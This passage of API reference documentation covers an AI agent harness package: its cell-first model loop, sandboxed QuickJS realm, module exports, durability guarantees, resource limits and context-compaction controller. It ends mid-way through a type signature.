`InspectionJournal.inspectionJournal(runId, events)` adapts `RunInspection.Event` pages into the existing control journal envelope. It sorts and deduplicates by the native sequence, preserves timestamps and generation, and refuses clipped, malformed or non-object payloads. `monitorFromInspection(run, events, at?)` invokes the canonical `RunTrace.monitorFromJournal` fold. No flow body runs and no new engine events or storage are introduced.

`RunTrace.monitorFromJournal` additionally accepts a fourth options argument `{ childBoundaries: true }` to show named child-flow calls alongside action steps. Root flow calls remain hidden; their visible dependencies pass through the hidden structural nodes. The default monitor presentation is unchanged.

`inspectionForest([{ runId, events }, ...])` merges related runs' recorded evidence by timestamp, execution identity and native sequence, exposing a presentation cursor while retaining the original envelope sequence and source identity. Step and call facts preserve the source coordinates required by the canonical agent-cell fold. A host must freeze the read snapshot while replaying: newly discovered child evidence can otherwise change presentation ordinals.

---

# @smthrs/harness
https://smithers.sh/docs/reference/api/harness/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/harness/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/harness/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/harness/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/capability`](/docs/reference/api/capability/) · [`@smthrs/core`](/docs/reference/api/core/) · [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/kernel`](/docs/reference/api/kernel/) · [`@smthrs/model`](/docs/reference/api/model/) · [`@smthrs/notifications`](/docs/reference/api/notifications/) · [`@smthrs/plan`](/docs/reference/api/plan/) · [`@smthrs/registry`](/docs/reference/api/registry/)

`@smthrs/harness` is the built-in agent loop, expressed as pure translation
plus a small set of service ports. It holds no scheduler, no database, no
transport and no provider client: `EngineLike` is the port a durable engine
answers, `Sandbox` is the port a script realm answers, `Steering.Source` is the
port a notification queue answers, and [`@smthrs/agent`](/docs/reference/api/agent/) is the
assembled production composition over the durable engine.

The loop is cell-first. One frame is

```text
model -> generated cell -> realm evaluation -> individually durable flow calls -> next transition
```

The model emits fenced `cell` blocks; they run as one program inside a realm
that outlives the frame; the only authority the program holds is
`ctx.call(flowName, input)`; and the program states its intent by calling
`ctx.done(output)`, `ctx.park(reason, message)`, or neither, which continues.
`Sandbox.replTransition` turns that into the transition the journal records.

## Example

```ts
import * as Cell from "@smthrs/harness/Cell"
import * as QuickJSSandbox from "@smthrs/harness/QuickJSSandbox"
import { Effect } from "effect"

const frame = await Effect.runPromise(Effect.scoped(Effect.gen(function*() {
  const realm = yield* (yield* QuickJSSandbox.make).openRealm!({ flows: {} })
  const call = () => Effect.succeed(new Cell.CallResult({ outcome: "success", value: null }))
  return yield* realm.evaluate({ cell: Cell.source(`ctx.done("hi")`), frame: 0, call })
})))
console.log(
  frame.outcome._tag,
  frame.outcome._tag === "settled" && frame.outcome.transition._tag === "complete"
    ? frame.outcome.transition.output
    : ""
)
```

```text
settled hi
```

## Entry points

| Import                           | What it is                                                                                                           |
| -------------------------------- | -------------------------------------------------------------------------------------------------------------------- |
| `@smthrs/harness`                | The root barrel: the 35 namespaces listed in the module index.                                                       |
| `@smthrs/harness/<Module>`       | Any top-level module directly, for example `@smthrs/harness/CellTurn`.                                               |
| `@smthrs/harness/QuickJSSandbox` | The QuickJS-WASM `Sandbox` binding. Not re-exported from the root, because it carries an embedded WebAssembly build. |
| `@smthrs/harness/package.json`   | The package manifest.                                                                                                |

The `./internal/*` and `./*/index` subpaths map to `null` and do not resolve.

## Module index

36 public modules, 538 documented exports. Each module's full export table is
in the [module and export inventory](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/harness/docs/reference.md); the sections below state
behavior and signatures.

| Module                       | Public exports                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | What it is                                                                                               |
| ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------- |
| `HarnessError`               | `HarnessErrorCode`, `HarnessError`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Stable failures reported at the harness translation boundary.                                            |
| `AgentEvent`                 | `Observer`, `Journal`, `RelevanceKind`, `CompactionMark`, `CompactionPin`, `MonitorKind`, `Stance`, `Suppression`, `UnjudgedReason`, `DisciplineArmed`, `TurnOpened`, `ModelRequested`, `ModelSelected`, `SeatFailedOver`, `ModelParked`, `ModelUnparked`, `ModelDelta`, `ModelRetried`, `ModelSettled`, `CellProduced`, `CellRejectedInFrame`, `CellCallStarted`, `CellCallSettled`, `CellPrinted`, `CellSettled`, `TransitionApplied`, `ReadOnlyDemandIssued`, `ReadOnlyDemanded`, `RepeatDemanded`, `NarrowedDemanded`, `UnmovedDemanded`, `UnresolvedDemanded`, `FailedCallDemanded`, `UnobservedDemanded`, `NarrowOnlyDemanded`, `ClaimDemanded`, `DecisionAnswer`, `decisionAnswers`, `DecisionSettled`, `SupervisorSettled`, `SupervisorUnjudged`, `DecisionUnjudged`, `RelevanceSettled`, `RelevanceRestored`, `SeatPanel`, `SeatRouted`, `SufficiencyObserved`, `VacuousVerificationObserved`, `MutationObserved`, `CheckpointMinted`, `Suspended`, `CompactionSettled`, `SteeringDrained`, `TurnClosed`, `PermissionRequired`, `Aborted`, `Resolved`, `AgentEvent`, `eventType` | Serializable events emitted by harness adapters.                                                         |
| `Plan`                       | `Child`, `Batch`, `ChildResult`, `ChildProgress`, `ChildSettled`, `SpliceEvent`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Local structural plan nodes used at the harness-to-engine boundary.                                      |
| `EngineLike`                 | `SuspendReasonCode`, `SuspendReason`, `SealedModelStep`, `BoundaryIdentity`, `DurableSchema`, `RecordBoundary`, `Observation`, `Snapshot`, `Binding`, `Resolved`, `CaptureRequest`, `EngineLike`, `make`, `layer`, `resolve`, `makeNoop`, `layerNoop`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Narrow engine port consumed by the built-in harness.                                                     |
| `Tokens`                     | `Count`, `Segment`, `Accounting`, `Estimator`, `estimate`, `count`, `combine`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Deterministic token accounting for context windows.                                                      |
| `ContextWindow`              | `TypeId`, `SegmentKind`, `SegmentZone`, `Content`, `Mark`, `ContextWindowErrorCode`, `ContextWindowError`, `Segment`, `ContextWindow`, `SegmentInput`, `MakeOptions`, `makeSegment`, `make`, `empty`, `appendTurn`, `prefixDigest`, `compactMarked`, `compactPrefix`, `compact`, `render`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | The immutable, provider-neutral context assembled for one model request.                                 |
| `Transcript`                 | `journalVersion`, `validateJournal`, `TranscriptErrorCode`, `TranscriptError`, `ProjectedMessage`, `ProjectedState`, `CellEvidence`, `projectStateResult`, `projectResult`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Transcript projection from durable journal entries.                                                      |
| `ExternalTranscript`         | `AgentKind`, `EditedFile`, `Part`, `Entry`, `ExternalTranscriptErrorCode`, `ExternalTranscriptError`, `codexReleases`, `CodexState`, `CodexCall`, `codexStart`, `Decoded`, `decodeCodex`, `claudeReleases`, `ClaudeCall`, `ClaudeState`, `claudeStart`, `decodeClaude`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Read-only conversation entries decoded from another agent's transcript file.                             |
| `Compaction`                 | `summaryInstruction`, `InvalidStep`, `Summarizer`, `CompactionStep`, `TokenAccounting`, `shouldCompact`, `judgedAbove`, `consultsJudge`, `selectPrefix`, `declare`, `summaryRequest`, `apply`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Declarations for sealed transcript-summary steps.                                                        |
| `Steering`                   | `Delivery`, `SteerInsert`, `QueueInsert`, `Insert`, `SeatChange`, `ThinkingChange`, `Item`, `Queue`, `Drain`, `BoundaryInput`, `DrainRecord`, `drainRecord`, `empty`, `enqueue`, `drainAtClose`, `Source`, `SourceInput`, `make`, `makeNoop`, `layer`, `layerNoop`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Turn-boundary steering values and their source contract.                                                 |
| `Notifications`              | `Options`, `make`, `layer`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Adapter from the durable notification queue to harness turn boundaries.                                  |
| `Cell`                       | `Language`, `Source`, `digestOf`, `source`, `Continue`, `Complete`, `Park`, `Transition`, `renderText`, `RejectionCode`, `Settled`, `Raised`, `Rejected`, `Outcome`, `FlowProjection`, `project`, `CallFailureCode`, `defaultCallFailureCode`, `callFailureHint`, `CallIdentity`, `declarationDigest`, `Call`, `baseCheckpoint`, `checkpoint`, `checkpointOf`, `CallResult`, `CallSuccess`, `CallFailure`, `CallResultVariant`, `decodeCallResult`, `decodeOutcome`, `decodeTransition`, `callFailure`, `Extracted`, `extract`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | The cell contract.                                                                                       |
| `Sandbox`                    | `SandboxErrorCode`, `SandboxError`, `Invocation`, `Mint`, `Minter`, `mintUnavailable`, `Handler`, `Limits`, `Capabilities`, `defaultLimits`, `minimumSteps`, `minimumTimeMs`, `minimumMemoryBytes`, `printFrameBytes`, `printStatementFloor`, `printRetainedBytes`, `withDefaults`, `Intent`, `replTransition`, `RealmEvaluation`, `RealmFrame`, `Realm`, `RealmOptions`, `Sandbox`, `make`, `layer`, `makeNoop`, `layerNoop`, `realmUnsupported`, `callTimedOut`, `compile`, `PendingCall`, `driveCell`, `raisedOutcome`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | The deterministic script sandbox port.                                                                   |
| `CellTurn`                   | `defaultMaxFrames`, `defaultReadOnlyFrames`, `defaultModelCallMs`, `defaultRepeatFrames`, `defaultNarrowingDemands`, `defaultUnmovedDemands`, `defaultUnresolvedDemands`, `defaultClaimDemands`, `defaultRevalidations`, `defaultMaxCheckpoints`, `State`, `Input`, `MemoryRow`, `Memory`, `make`, `Profile`, `teach`, `instructionsSegment`, `memorySegment`, `run`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | The cell-first controller.                                                                               |
| `DoneText`                   | `project`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | The answer text of a reply that is still streaming.                                                      |
| `CellHistory`                | `ExecutedCell`, `Service`, `CellHistory`, `make`, `makeCells`, `makeNoop`, `layer`, `layerCells`, `layerNoop`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | The source of every cell the current turn executed.                                                      |
| `CellCalls`                  | `Implementation`, `Prompt`, `PromptRunner`, `Options`, `Resolver`, `make`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Registry-backed resolution for the flow calls a cell makes.                                              |
| `FlowBinding`                | `Declared`, `DescriptorOptions`, `descriptorOf`, `Binding`, `Options`, `make`, `provide`, `Source`, `source`, `Catalog`, `empty`, `catalogResult`, `catalog`, `registry`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | The executable-flow binding contract.                                                                    |
| `StructuredOutput`           | `StructuredOutputFailureCode`, `OutputIssueCode`, `OutputIssue`, `StructuredOutputFailure`, `maxIssues`, `jsonSchema`, `digest`, `instructions`, `issuesDigest`, `correction`, `lastBalanced`, `candidates`, `decode`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Turning one agent's final text into a value the declared output schema accepts, or into a typed failure. |
| `TruncatedOutput`            | `flagSuffix`, `droppedSuffix`, `flagKey`, `minimumBytes`, `retained`, `Capture`, `Reuse`, `captures`, `reuse`, `refusal`, `retain`, `Ledger`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | The truncation ledger: which bytes this run was handed as a fragment.                                    |
| `CallLedger`                 | `bound`, `width`, `members`, `Entry`, `Ledger`, `subject`, `target`, `digest`, `payload`, `Settlement`, `entry`, `settled`, `remember`, `render`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | The call ledger: what this run has already asked, rendered every frame.                                  |
| `NarrowedCheck`              | `retained`, `maxTerms`, `labelWidth`, `label`, `targeting`, `names`, `lex`, `terms`, `conditions`, `Check`, `Narrowing`, `check`, `narrows`, `find`, `demand`, `Only`, `findOnly`, `demandOnly`, `remember`, `Ledger`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | The narrowing ledger: which checks this run has run, and over which tree.                                |
| `CellValidation`             | `Validation`, `normalize`, `validate`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Cell validation at the boundary.                                                                         |
| `CompletionClaim`            | `outputBytes`, `proseBytes`, `disprovenAt`, `overclaimedAt`, `unsupportedAt`, `inventedAt`, `leafBytes`, `resultBytes`, `receipt`, `Reported`, `Settled`, `record`, `checksRunLimit`, `Check`, `Ran`, `Evidence`, `classifier`, `sentenceLimit`, `sentences`, `sentenceMarker`, `sentenceOf`, `sentenceClassifier`, `Probabilities`, `Reading`, `find`, `unrecorded`, `newest`, `unjudged`, `unproven`, `read`, `demand`, `quote`, `prose`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | The completion nothing in the record contradicts.                                                        |
| `Supervisor`                 | `frameBytes`, `recentFrames`, `recalledLimit`, `closeGraceMs`, `thrashingAt`, `offTargetAt`, `suspectAt`, `contextAt`, `Level`, `levels`, `Help`, `emotions`, `Emotion`, `Frame`, `Signals`, `Recalled`, `skillLimit`, `skillBytes`, `calledLimit`, `Skill`, `skill`, `Snapshot`, `monitorPrefix`, `MonitorQuestions`, `classifierFor`, `classifier`, `Reading`, `read`, `Memory`, `memoryNone`, `nudge`, `recalledInsert`, `head`, `tail`, `prose`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | The reading Jev takes of a run while it is still running.                                                |
| `Monitor`                    | `Kind`, `Common`, `Questioned`, `Derived`, `Monitor`, `Budget`, `Input`, `budgets`, `idPattern`, `questionId`, `make`, `InvalidMonitor`, `validate`, `lint`, `paranoidText`, `carefulText`, `stepBackText`, `clarifyText`, `moods`, `defaults`, `skillText`, `skills`, `useJevText`, `useJev`, `questions`, `Row`, `Candidate`, `Evaluation`, `evaluate`, `Entry`, `Ledger`, `fresh`, `Gated`, `gate`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | What one supervisor reading can put in front of the run, and when.                                       |
| `Judgement`                  | `Unjudged`, `unconfigured`, `Asked`, `Read`, `measured`, `read`, `maxStateBytes`, `ItemQuestions`, `ItemAnswers`, `PerItemOptions`, `ItemState`, `ItemsRead`, `PerItem`, `perItem`, `decision`, `unjudgedEvent`, `Recorded`, `recorded`, `emitRecorded`, `taskBytes`, `task`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | The one way this package asks Jev a question.                                                            |
| `Relevance`                  | `Kind`, `Item`, `Context`, `withholdAt`, `itemBytes`, `reader`, `Verdict`, `Reading`, `judge`, `settled`, `flowItem`, `Document`, `Chunk`, `chunks`, `render`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | What a run is shown of the human-provided items it could be shown.                                       |
| `UnmovedTree`                | `Unmoved`, `find`, `demand`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | The completion with nothing behind it.                                                                   |
| `UnresolvedFailure`          | `exitStatusKey`, `failed`, `exitStatus`, `passed`, `Displaced`, `revisits`, `find`, `demand`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | The failing check a completion stepped around.                                                           |
| `FailedCall`                 | `cap`, `heading`, `stated`, `Failure`, `reason`, `inspects`, `find`, `demand`, `state`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | The completion its own cell wrote before a call in it failed.                                            |
| `Sufficiency`                | `retained`, `Failure`, `Ledger`, `remember`, `Sufficient`, `find`, `observation`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | The evidence that is already complete.                                                                   |
| `VacuousVerification`        | `retained`, `Pass`, `Ledger`, `remember`, `stored`, `find`, `observation`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | The proof that was already true before anything changed. Not wired into `CellTurn`.                      |
| `VariablesPanel`             | `bound`, `Binding`, `Stamp`, `Ledger`, `stamp`, `render`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | The variables panel: what the realm holds, stated every frame.                                           |
| `QuickJSVariant`             | `cacheSuccessful`, `VariantService`, `Variant`, `layerVariant`, `loadModule`, `compiledModule`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | The QuickJS build a host names, shared by every QuickJS realm; carries no build itself.                  |
| `QuickJSSandbox` _(subpath)_ | `cacheSuccessful`, `VariantService`, `Variant`, `layerVariantLive`, `layerVariant`, `ComputeClockService`, `ComputeClock`, `layerClockLive`, `loadModule`, `makeWithVariant`, `makeWithClock`, `make`, `layerWithVariant`, `layer`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | The QuickJS-WASM sandbox binding.                                                                        |

## Durability

Every `ctx.call` is its own keyed, journaled, permission-gated boundary at the
tier the flow declares, so a crash or a permission park mid-cell is recoverable:
the cell source re-executes from the top, boundaries that already settled replay
their recorded values, and execution reaches the parked call deterministically.

`EngineLike.record` is the same mechanism for the controller's own reads of the
world. The controller's state is rebuilt by re-execution, so a read that
bypasses a record is a replay divergence and, downstream of one, a duplicate
irreversible effect. `(name, identity)` together form the record key: two
records in one frame may share an identity as long as their names differ.

One call is deliberately not covered by that guarantee. `EngineLike.call` is
where a cell reaches a durable wait, and a `Flow.suspend` raised inside an
enclosing activity suspends that activity's attempt rather than the run, so the
call is issued first and its settlement is recorded after. A call the `callMs`
ceiling interrupted therefore settles nowhere, and a re-executed frame issues it
again on the host. The cell's branch is stable either way, because the recorded
settlement is what the replayed frame is handed; what the run pays for twice is
the interrupted call itself.

## Limits

`Sandbox.defaultLimits` fills every ceiling a caller omits. A caller may raise
any single ceiling; the others keep their defaults, so a partial override cannot
disable them.

| Limit             | Default | Scope       | What it bounds                                                                                                                         |
| ----------------- | ------- | ----------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| `calls`           | 64      | per frame   | Flow calls one cell may make. A `ctx.checkpoint()` mint settles on the same channel and counts.                                        |
| `memoryBytes`     | 128 MiB | per **run** | What the realm's own names hold, weighed by the panel probe at each frame's close.                                                     |
| `steps`           | 1,000   | per frame   | Interrupt checks, not bytecode operations. At least `Sandbox.minimumSteps`.                                                            |
| `timeMs`          | 30,000  | per frame   | The cell's own JavaScript time. Time suspended in a `ctx.call` or `ctx.checkpoint()` does not count. At least `Sandbox.minimumTimeMs`. |
| `totalMs`         | 900,000 | per frame   | Whole-evaluation time, host calls included. The backstop for a call that never settles.                                                |
| `pauseTotalMsFor` | none    | per frame   | Flow names whose pending calls pause `totalMs`; the host must bound or settle these calls separately.                                  |
| `callMs`          | 600,000 | per call    | Wall-clock time one flow call may take before it settles as a resolved timeout. A call that names its own time gets it and this more.  |

`callMs` is a default, not a cap on what a call asks for. A call whose input
names its own time, `timeoutMs` as `bash` and `test` take or `timeoutSeconds`
as a sandbox's `run` takes, runs that long and `callMs` more, for the work its
flow does around the command (starting it, waking its machine, collecting its
output), held to what the frame's `totalMs` has left less one second, so it
settles as a `timeout` the cell reads rather than ending the frame.
`Sandbox.callLimit` computes the ceiling; the default equals the timeout
`bash` and `test` document, so a command that names none is not cut sooner
than its flow says.

`memoryBytes` is a run budget rather than a frame budget because a realm outlives
its frames. `runtime.setMemoryLimit` covers the object graph but does not count
string data on the shipped QuickJS variant, so the panel probe weighs the realm's
own names and a frame that opens over the ceiling is refused before it runs.
That refusal persists for the realm: allowing an arbitrary recovery cell would
also allow further allocations. Close the realm's scope to release its memory.
A missed or failed probe invalidates the last reading. Admission retries the
probe under the next frame's budget and runs user code only after a complete
reading within the ceiling.

## Bytes

Text delivery and retention bounds use UTF-8 bytes measured by one shared
helper. The print channel, retention ceiling and call ledger's line sizes use
this unit, including CJK and emoji payloads. Elision notices state the real
UTF-8 byte count.

The supplemental memory probe is a separate estimate, not a UTF-8 byte count or
an exact heap measurement. Strings and property names contribute twice their UTF-16
code-unit lengths, a constant-time upper bound for QuickJS's one- or two-byte
storage. Objects have a base weight of 8; non-string scalars,
functions, accessors and cycle references have fixed weights of 8. The probe walks named globals, array indices,
enumerable own string-keyed data properties, Map keys and values, and Set values.
Collection entries use the same traversal budget as properties: 200,000 values
and depth 32. An incomplete traversal causes the next frame to be refused.
Cycles stop at ancestor references; shared objects on separate paths are counted
again. Accessors are not invoked. Closure state, weak collection entries and
other storage unreachable by these paths are not measured. The native allocator
limit remains active, but this supplemental estimate is not a hard bound on all
memory retained by the realm.

## Failure categories

Three closed unions carry every failure a caller branches on. None of them is
open-ended, and none of them is prose a consumer must parse.

- `HarnessError.HarnessErrorCode`: the translation boundary's own failures.
  Folded into `@smthrs/agent`'s `AgentFailure` union, so a code that nothing
  raises is a promise this package cannot keep; the set holds only codes that
  are raised.
- `Cell.CallFailureCode`: why one flow call did not succeed, as the cell reads
  it. A failed call **resolves** with `{ ok: false, error: { code, message, hint } }`
  rather than throwing, so the recovery branch the model already wrote still
  runs. `Cell.callFailureHint` names the one move that recovers each class.
- `Sandbox.SandboxErrorCode`: why a realm could not run a cell at all, as
  distinct from a cell that ran and failed.

`StructuredOutput.StructuredOutputFailureCode` is the fourth, for the boundary
that decodes an agent's final text into a declared schema.
`ExternalTranscript.ExternalTranscriptErrorCode` is the fifth, for decoding a
transcript another agent wrote.

## Copy and mutation semantics

`ContextWindow` is immutable: the arrays a segment and a window expose are
frozen, so a runtime mutation throws rather than silently invalidating the
digest computed once at construction. `Cell` values, `CallLedger` entries and
every `AgentEvent` are schema classes and are never mutated in place. The one
value the controller mutates is its own `State`, which is journaled at each
frame boundary.

## What this package does not do

- It declares no provider tools. The cell-first loop seals every model request
  with `tools: []` and `toolChoice: "none"`. A window still carries the active
  tool set it was constructed with, and `AgentEvent.TurnOpened.activeToolNames`
  still journals it, so a foreign-adapter loop has somewhere to put one; nothing
  in this package produces a non-empty set.
- It runs no scheduler and owns no storage. `Plan` describes child batches;
  `EngineLike` splices them.

## CellTurn

Harness journal format 2 versions controller state and model-key inputs.
Resuming older controller state or an agent session journal fails before a live
model call with `HarnessError` code `incompatible_journal`; start a new run.
Historical transcript projection remains available for display and renders
summary text as a user message. rc.0 does not promise journal compatibility.

`import * as CellTurn from "@smthrs/harness/CellTurn"`

The cell-first controller. It decides continue, park, or finish from durable
evidence, the transition a cell returned and the budgets the run declared, and
never from the presence of a provider tool call.

```ts
export const run: (
  input: Input
) => Stream.Stream<
  AgentEvent.AgentEvent,
  HarnessError,
  EngineLike.EngineLike | Sandbox.Sandbox | Steering.Source
>
```

`run` executes the loop until it completes, parks, or exhausts its budget.
Cancellation is fiber interruption: interrupting the stream tears down the
sandbox through scope closure and reports one abort. `Input` is
`{ state, flows, limits?, supervisor?, monitors?, judged?, stance?, profile?, instructions?, pinned?, memory? }`,
where `flows` is the frame's `FlowDescriptor` list, already narrowed by seat
visibility, and `monitors` (default `Monitor.defaults()`) are what each
supervisor reading scores. `judged` (default false) is true only when the
host's `Evaluator` is a real judge, and it arms Jev's features: the
supervisor delivers what its monitors gate through and its inserts, frame 0
takes the run-start relevance reading, and the supervisor marks segments for
compaction. It is runtime configuration, not `State`, so a resumed run is
armed by the host that resumes it. `DisciplineArmed` journals it, only when
true, as `judged`, `relevance` (`{ withholdAt, pinned }`) and `monitors`
(each id, kind and gate), so an unjudged journal is unchanged;
`supervisorSteer` is read only from journals written before `judged`. `stance`
(`careful` or `paranoid`) is the static stance the run is taught; pass the
window taught with it. `DisciplineArmed.stance` records it when set. `profile`
(`workspace`, the default, or `conversation`) is the contract the run is
taught; pass the window taught with it, so the loop's re-teach at each catalog
refresh replaces the same segments.

**Run-start relevance.** At frame 0 of a judged run, once the frame's catalog
is known, every model-invocable flow not in `pinned` (as `Relevance.flowItem`,
sorted by name), every chunk of `instructions` (`Relevance.Document`s) and
every row of `memory` (kind `memory`, id its `key`) is one item of a single
`relevance/unnecessary` reading, recorded under the boundary `relevance`. Nothing to judge asks nothing. `decision-settled` rows are
followed by `relevance-settled` (`source: "run"`). Withheld flows and skills
go to `State.withheldFlows` and leave every frame's taught catalog and
`ctx.flows`; the recorded `flow-catalog` stays whole. Withheld chunks leave
the window's instructions segment, found by the digest of
`instructionsSegment(instructions, new Set())`, which is how the host must
build it; a segment left empty is removed. A chunk is matched by id and text,
so a replay against an edited file keeps a chunk whose text the reading never
judged. Withheld rows leave the memory
segment, found by the digest of `memorySegment(memory.render(memory.rows),
memory.digest)`: it becomes `memory.render` of the kept rows, or is removed
when none is kept. A reading nobody could judge withholds nothing and
journals `decision-unjudged`. A call to a withheld flow
settles `flow_withheld` and restores it: the next frame shows it, and
`relevance-restored` names it. A replay is served the recorded reading.

**Compaction marks.** Marking is separate from compacting, and the judge is
consulted about either only while the context a frame opened on is above
`Compaction.judgedAbove`, 200,000 tokens whatever the model's window
(`Compaction.consultsJudge`). At or under that size a judged run takes no
`compaction/marks` reading and its supervisor readings deliver no context
trigger, so nothing is compacted on a reading and the prefix a request is
sent does not change.

Above it, each supervisor reading of a judged run also asks
`compaction/marks` about the transcript segments not yet marked, the person's
excepted, and the next boundary stores the answers, by segment digest, on
`State.segmentFacts` inside its recorded drain
(`Steering.DrainRecord.marks`), even when that drain disables message delivery.
Marks are consumed once; disabling delivery drops messages, not mark evidence.
The first such reading is asked about every
segment so far. Marking changes nothing the model is sent: the prefix a
request is sent stays byte-stable until a compaction.

A frame compacts for one of two reasons. The window crossed its budget
(`Compaction.shouldCompact` and `selectPrefix` at their defaults): this
applies at any size, judged or not, because a context within the reserve of
its window cannot send another call. Or the boundary before it took a
supervisor reading, of a context above `Compaction.judgedAbove`, that fired
`outdated_context` or `irrelevant_context` (`Steering.DrainRecord.compact`,
carried on `State.compactionDue` for that frame alone). A model whose window
is under `judgedAbove` plus the reserve compacts on its budget only. A
judged run then marks each prefix segment `keep`, `squash` or `remove`. Pins, read
from `State.segmentFacts` and the still-failing checks, fix what must
survive: a summary is squashed; steering, the person's segments and the
newest segment that ran each still-failing check are kept; a segment that
changed files is never removed. The stored answers resolve the rest against
the budget; segments still unmarked are asked in one `compaction/marks`
reading, recorded under the boundary `compaction-marks:<prefix digest>`, so
a replay asks nothing and re-keys the same summary. Only squashed segments
reach the sealed summary step, which is skipped when nothing is squashed;
kept segments stay verbatim after the summary. `decision-settled` rows
precede `compaction-settled`, which carries `summary?`, `kept`, `marks`
(segment digest, mark, `pinned?`), `removedTokens` and `causes`. An unjudged run and a
reading nobody could judge (journaled `decision-unjudged`) squash every
prefix segment; so does a judged run whose facts do not describe every
transcript segment, and its `compaction-settled` says `unaligned`.

`instructionsSegment(documents, withheld)` is the prefix `system` segment of
`Relevance.render(documents, withheld)`. It is `system`, not `instructions`,
because the task is what the prefix `instructions` segments say.

`Memory` is `{ rows, digest, render }`: the opening memory rows
(`MemoryRow`, `{ key, text }`), the digest the opening declares, and the
host's render, which is only handed rows of `rows`, in order.
`memorySegment(text, digest)` is the prefix `system` segment of rendered
memory under that declared digest: what a run remembers is not its task, and
each row is judged against a task that does not contain it.

`CellTurn.make` constructs the initial `State`:

```ts
export const make: (options: {
  readonly session: string
  readonly seat: string
  readonly modelParams: ModelRequest.GenerationParams
  readonly layers: ReadonlyArray<string>
  readonly capabilityEnvelope: ReadonlyArray<Capability.CapabilityPattern>
  readonly placement: Option.Option<Descriptor.Placement>
  readonly contextWindow: ContextWindow.ContextWindow
  /** Initial budget; a seat steer recomputes it from the model catalog. */
  readonly contextWindowTokens?: number | undefined
  readonly frame?: number | undefined
  /** Zero disarms the frame limit; exhausted positive limits spend no new frame. */
  readonly maxFrames?: number | undefined
  readonly readOnlyCap?: number | undefined
  readonly modelCallMs?: number | undefined
  readonly repeatCap?: number | undefined
  readonly narrowingCap?: number | undefined
